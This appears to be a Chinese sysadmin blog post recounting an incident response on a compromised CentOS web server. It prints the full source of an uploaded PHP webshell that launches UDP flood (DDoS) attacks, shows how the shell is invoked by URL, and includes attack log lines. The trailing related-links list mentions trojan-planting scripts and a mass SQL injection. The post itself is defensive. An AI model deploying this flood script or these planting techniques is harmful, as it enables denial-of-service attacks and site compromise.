记一次Centos服务器被挂马的抓马经历

今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。

早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。Centos服务器被挂马的一次抓马经历。

我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器。

果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看cpu负载:

top

发现有两个apache进程占用cpu一直在40%以上,马上停止httpd 服务

service httpd stop

停止httpd服务之后,再看网络状态,175服务器也不向外发包了,一切正常。

由此判断应该是175服务器挂了马,疯狂向外发包,挤占了全部机房带宽。

下一步就是抓马了!

175服务器是有硬件防火墙,只开http80跟ssh22端口,ssh不太可能被盗号,应该是通过web漏洞挂马。早上5点才中招的,木马程序文件应该在1天之内。

切到M站点根目录之下,查找最近一天内变动的文件,执行

find ./ -mtime -1

果然,一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行

ls -l phzLtoxn.php

这里发现文件就没了,难道这文件还会自我销毁?Centos服务器被挂马的一次抓马经历

原来发生了一个小插曲,隔壁的管理员小黄也注意到这个文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删!难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把httpd服务开启了,引狼入室,等等看能否再生成。

果然,半小时不到,新的phzLtoxn.PHP文件又生成了。查看了一下,文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。

分析一下木马文件,看下黑客意图

这里贴出phzLtoxn.php文件源代码,并作了简单注释,仅作学习之用。

<?php
//设置脚本运行时间
set_time_limit(999999);
//攻击目标服务器ip
$host = $_GET['host'];
//攻击目标服务器端口
$port = $_GET['port'];
//攻击时长
$exec_time = $_GET['time'];
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
 if (StrLen($_GET['rat']) <> 0) {
 echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];
 exit;
 }
 echo "Warning to: opening";
 exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
 $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {
 $packets++;
 if (time() > $max_time) {
 break;
 }
 $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
 if ($fp) {
 fwrite($fp, $out);
 fclose($fp);
 }
}
//step4. 攻击统计
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>

从以上代码可以看出,是个典型的ddos攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。

查看httpd日志,分析下攻击ip源,执行

tail /var/log/httpd/access.log | grep phzLtonxn.php
183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

发现源ip来自多个,目标服务器ip也有多个,都属于很多国家,有点奇怪啊,为什么黑客有针对性的攻击呢,无聊的黑客啊。
下一步,找漏洞!

1、重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限,防止phzLtoxn.php文件再次生成。

2、重新开启httpd服务,使用360网站检测 http://webscan.360.cn/ 对H站进行漏洞检测,发现H站中有严重的远程执行漏洞,于是赶紧打了补丁。

3、补丁打好之后,顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。

观察几日之后,一切正常。

小结一下几个安全原则

1、权限最小化。

web目录一定做好权限,仅仅对apache开几个必要文件夹的写权限。

2、时刻注意补丁更新。

经常使用第三方的网站安全检测工具,如http://webscan.360.cn,也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息http://www.wooyun.org/
3、中招后一定要补牢。

别光删删删删,要查找中招源头,分析黑客目的。

这是还是请大牛小牛们分析一下,为什么这帮黑客用那么多的肉鸡来ddos攻击不同的服务器,而这些被ddos攻击的服务器之间却没有什么联系。为什么攻击没有针对性?难道是为了耗带宽玩?!

(0)

相关推荐

  • CentOS 7.2部署邮件服务器(Postfix)

    一.Postfix简介 Postfix 是一种电子邮件服务器,它是由任职于IBM华生研究中心(T.J. Watson Research Center)的荷兰籍研究员Wietse Venema为了改良sendmail邮件服务器而产生的.最早在1990年代晚期出现,是一个开放源代码的软件. Postfix 官方网站:http://www.postfix.org/ Postfix 下载地址:http://www.postfix.org/download.html 二.Postfix安装 安装Postf

  • CentOS上搭建PHP服务器环境的步骤与方法

    本文实例讲述了CentOS上搭建PHP服务器环境的步骤与方法.分享给大家供大家参考,具体如下: 安装apache: yum install httpd httpd-devel 启动apache: /etc/init.d/httpd start 此时输入服务器的IP地址,应该看到apache的服务页面,端口不用输,apache默认就是使用80端口 安装mysql: yum install mysql mysql-server 启动mysql: /etc/init.d/mysqld start 安装

  • 阿里云基于CentOS用vsftpd搭建FTP服务器

    最近需要在一台阿里云的云服务器上搭建FTP服务器,在这篇博文中分享一下我们根据实际需求进行的一些配置. ftp软件用的是vsftpd. vsftpd是一款在Linux发行版中最受推崇的FTP服务器程序.特点是小巧轻快,安全易用. vsftpd 的名字代表"very secure FTP daemon",安全是它的开发者 Chris Evans 考虑的首要问题之一.在这个 FTP 服务器设计开发的最开始的时候,高安全性就是一个目标. 准备工作 安装vsftpd yum install v

  • CentOS服务器apache绑定多个域名的方法

    Apache是最流行的HTTP服务器软件之一,其以快速.可靠(稳定)而著称,并且可通过简单的API扩展,Perl/Python解释器可被编译到服务器中,完全免费,并且源代码全部开放.如果有自己的服务器或者VPS,并且不想为了方便而购买昂贵的控制面板的话,那自己动手配置Apache就成了一门必修课了.下面简单的介绍了如何通过设置Apache的http.conf文件,进行多个域名以及其相关的二级域名的绑定(假设我们要绑定的域名是minidx.com和ntt.cc,二级域名是blog.minidx.c

  • 阿里云Linux-CentOS系统下-搭建Git服务器详解

     阿里云Linux-CentOS系统下-搭建Git服务器 步骤总结: 1. 安装git 首先确认服务器是否安装Git 在Xshell中输入命令:$ rpm -qa git 结果如下表示已经安装: 如果未安装就安装git 在Xshell中输入:$ yum install git 2. 创建一个git用户,用来运行git服务: 在Xshell中输入:$ sudo adduser git 此时在阿里云服务器的根目录:/home文件夹下新增一个文件夹git 按这个层级建立文件用于存放客户端用户的公钥:/

  • CentOS7修改服务器系统时间的方法

    未知何故,服务器上的系统时间不对,比实际的UTC快了将近63分钟.在涉及本地文件与远程服务器文件的时间戳校验时,容易产生混淆. 这里把系统时间更正的过程记录如下. 参考资料:http://www.centoscn.com/CentOS/config/2015/0723/5901.html 在CentOS 7里面有一个命令timedatectl可以帮助我们修改服务器的时区. 1. 查看服务器里的时间设置 timedatectl ,它等同于 timedatectl status : $ timeda

  • centos 搭建ftp服务器详解及简单介绍

    centos 搭建ftp服务器 1.安装vsftpd sudo yum install vsftpd 2.配置vsftpd.conf # Allow anonymous FTP? (Beware - allowed by default if you comment this out). anonymous_enable=NO # When SELinux is enforcing check for SE bool ftp_home_dir local_enable=YES write_ena

  • 记一次Centos服务器被挂马的抓马经历

    今天早上五点,收到监控宝的警告短信,说是网站M无法访问了.睡的正香,再说网站所在系统是centos,重要数据每天都备份,应该很安全,也没有在意.倒头接着睡觉去了. 早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢.Centos服务器被挂马的一次抓马经历. 我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器. 果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看

  • 最新的无权限挂马方式

    还有在国外的一些机器上,什么权限都拿到了也不知道他怎么弄的,什么都不让写,好不容易写个文件没一会又改回去了,真的让人很!#$%%#%^#%^,据说就有一种软件能监视重要的文件,一旦发现更改就会给恢复过去,譬如他监视web目录的话我们就不能更改他网站的任何内容了.不过,看了很多大虾的文章,自己也略微研究了下,也总算琢磨点东西出来,不用写任何文件就可以实现将别人的页面涂改和大家经常传说的挂马等等后果,这里就给大家介绍下,那些只知道勤快的管理员也要小心了! 大家知道,我们浏览网站的时候都是服务器将信息

  • 挂马代码 网页挂马分析

    如今网民上网可算是提心吊胆,面对病毒,也许杀毒软件还能防止一二,但如果遇到网页中挂马行为,甚至直接将用户当前机所安装的杀毒软件直接强行关闭,那么其后果是不言而喻的.如今的网页有马行为也不像以前那么单一,甚至不出现下载提示,直接从后台开始下载运行其马,然后秘密的收集用户信息并返溃到恶意者手中.     网马危害     如果一台正常的网络服务器被恶意用户入侵,其网页被挂马,在一定程度上可以说是网页被篡改,其危害是巨大的,随着用户访问流量的增多,会造成此马的传播性越发增大,由于其隐蔽性比较强,导至很

  • 两个批量挂马vbs脚本代码

    scan.vbe cscript scan.vbe web目录 程序代码: '版权信息 br="************************************" & vbCrLf br=br & "* VBS 批量挂马脚本 *" & vbCrLf br=br & "* BY BanLG *" & vbCrLf br=br & "**************************

  • 预防网页挂马的方法总结

    预防网页挂马的方法总结: 在网站优化设计当中,检测网页木马也是很重要的一项工作,目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的.本文主要介绍网页挂马的工作原理及种类.常见方式.执行方式.如何检测网页是否被挂马.如何清除网页木马.如何防止网页被挂马. 1:网页挂马工作原理的种类. (1)工作原理: 作为网页挂马的散布者,其目的是将木马下载到用户本地,并进一步执行,当木马获得执行之后,就意味着会有更多的木马被下载,进一步被执行,进入一个恶性的循环,从而使用户的电脑遭

  • Asp常见挂马方式大总结

    一:框架挂马 <iframe src=地址 width=0 height=0></iframe> 其中"地址"处可以输入恶意网站链接等 二:js文件挂马 只要是JS文件,都可以通过被恶意修改从而被挂上恶意代码,一般被全站引用的JS代码最容易被挂木马,检测我们可以查看JS代码的左边或下边,坏人很喜欢将恶意代码与正常代码间用很多空格或回车来进行隐藏,所以要多看看JS代码页面有没有被故意拉长等. 三:js变形加密 <SCRIPT language="J

  • php实现批量删除挂马文件及批量替换页面内容完整实例

    本文实例讲述了php实现批量删除挂马文件及批量替换页面内容的方法.分享给大家供大家参考,具体如下: <?php # functionality: 本程序可以扫描指定目录的所有文件,进行内容替换.可用于被批量挂马的删除以及批量更新页面某些内容. # 本程序适用于对UTF-8的页面进行修改. set_time_limit(3600); //脚本运行时间 ?> <?php if($_POST['Submit']=='开始执行操作'){ $dir = $_POST['searchpath'];

  • 阻止网页挂马的若干工具小集合

    那么,除了在Web开发的时候注意以外,有什么有效的工具可以对抗SQL注入攻击? 今天,微软和惠普的安全部门合作发布了三个工具,分别是: 微软SQL注入攻击源码扫描器:Microsoft Source Code Analyzer for SQL Injection (MSCASI).这个工具给网站开发人员使用.是一个静态扫描ASP代码的工具,可以查找发现第一类和第二类的SQL注入攻击漏洞.工具下载地址: http://support.microsoft.com/kb/954476 惠普的 Scra

  • 让McAfee来终结网站被挂马的时代图文教程

    很多站长因为使用网上不常见的程序,有漏洞得不到补丁:而自己又没有编程能力无法修复或者干脆不知道漏洞在那里,被挂马后恢复程序结果不久又被挂--还有很多人即使使用的是应用比较广泛的程序,但也可能因为没及时打上补丁或出了漏洞官方还未发现而被挂马. 老是被挂也不是个事.怎么才能彻底杜绝被挂马呢?让程序完美,没有任何漏洞?这个可能性好象接近于0.我们只能从其他的地方想办法. 首先来看一下马是怎么挂上去的.首先,"黑客"会找到一个漏洞,然后利用这个漏洞上传一个后门程序上去以取得WEBSHELL,这

  • 最近比较流行的数据库挂马

    SQL语句如下: 用游标遍历所有表里如下数据类型的字段,然后UPDATE挂马.(全部是允许写入字符的字段) xtype=99 ntext xtype=35 text xtype=231 nvarchar xtype=167 varchar -------YD的分割----------– DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR Select a.name,b.name from sysobje

随机推荐